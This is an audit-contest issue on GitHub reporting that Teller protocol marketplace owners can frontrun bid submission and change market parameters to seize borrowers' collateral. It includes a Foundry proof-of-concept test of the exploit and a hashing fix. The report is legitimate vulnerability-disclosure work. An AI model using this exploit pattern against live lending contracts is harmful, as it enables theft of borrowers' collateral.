Skip to content
This repository was archived by the owner on Oct 22, 2023. It is now read-only.

juancito - Marketplaces owners can frontrun submitBid to steal collateral by modifying market parameters #289

Closed
sherlock-admin opened this issue Apr 22, 2023 · 0 comments
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Medium A valid Medium severity issue Reward A payout will be made for this issue

Comments

@sherlock-admin
Copy link
Contributor

sherlock-admin commented Apr 22, 2023

juancito

high

Marketplaces owners can frontrun submitBid to steal collateral by modifying market parameters

Summary

TellerV2::submitBid() is vulnerable to frontrunning from marketplace owners. By modifying some parameters just before the borrower transaction they are able to perform different attacks. For example modifying the result of getPaymentDefaultDuration().

This leads to loan payment durations being too short, and making it possible to accept a bid and seize the collateral almost instantly.

Submitting this as an important attack vector mentioned in the README.md that should not be possible to execute:

Market owners should NOT be able to race-condition attack borrowers or lenders by changing market settings while bids are being submitted or accepted (while tx are in mempool). Care has been taken to ensure that this is not possible...

Vulnerability Detail

    bidDefaultDuration[bidId] = marketRegistry.getPaymentDefaultDuration(
        _marketplaceId
    );

Proof of Concept

Add this test to packages/contracts/tests/TellerV2/TellerV2_Test.sol and run forge test -m "test_marketplace_frontrun_exploit":

function test_marketplace_frontrun_exploit() public {
    address payable marketRegistryAddr = payable(address(tellerV2.marketRegistry()));
    MarketRegistry marketRegistry = MarketRegistry(marketRegistryAddr);

    // Malicious market owner sees that a borrower is placing a bid and frontruns them
    // Sets the minimum payment duration possible which is 1
    vm.prank(address(marketOwner));
    marketRegistry.setPaymentDefaultDuration(marketId1, 1);

    // Submit bid as borrower
    uint256 bidId = submitCollateralBid();
    
    // Simulate the marketplace owner waiting for the next block
    // Calculation is done with block.timestamp
    vm.warp(100);

    // The marketplace owner uses their "lender" account
    // Verify its balance before the attack
    assertEq(wethMock.balanceOf(address(lender)), 500000);

    // The "lender" accepts the bid
    acceptBid(bidId);

    // We have to wait at least another block because of the minimum payment duration
    vm.warp(200);

    // The "lender" can seize the collateral
    vm.prank(address(lender));
    collateralManager.withdraw(bidId);

    // The marketplace owner through steals the collateral through his "lender" account
    assertEq(wethMock.balanceOf(address(lender)), 500010);
}

Impact

Lenders are able to instantly seize collateral from borrowers. The attack makes economically sense as loans should be overcollateralized.

Other attacks should be possible by changing other market parameters.

Code Snippet

https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/TellerV2.sol#L376-L378

Tool used

Manual Review

Recommendation

A possible solution is already mentioned in the README.md, which was not implemented as the attacked was not proved to be possible. But given the POC, it would make sense to implement it:

The best way to defend against this is to allow borrowers and lenders to specify such loan parameters in their TX such that they are explicitly consenting to them in the tx and then reverting if the market settings conflict with those tx arguments.

My suggestion is to hash the marketplace values and compare them on the _submitBid function:

    function _submitBid(
+       bytes32 _marketHash,
        address _lendingToken,
        uint256 _marketplaceId,
        uint256 _principal,
        uint32 _duration,
        uint16 _APR,
        string calldata _metadataURI,
        address _receiver
    ) internal virtual returns (uint256 bidId_) {
+       bytes32 marketHash = ... // Calculate current market hash from MarketRegistry values
+       require(marketHash == _marketHash, "Hashes must be the same");

Duplicate of #205

@github-actions github-actions bot closed this as completed May 1, 2023
@github-actions github-actions bot added Medium A valid Medium severity issue Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label labels May 1, 2023
@sherlock-admin sherlock-admin added the Reward A payout will be made for this issue label May 20, 2023
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Medium A valid Medium severity issue Reward A payout will be made for this issue
Projects
None yet
Development

No branches or pull requests

1 participant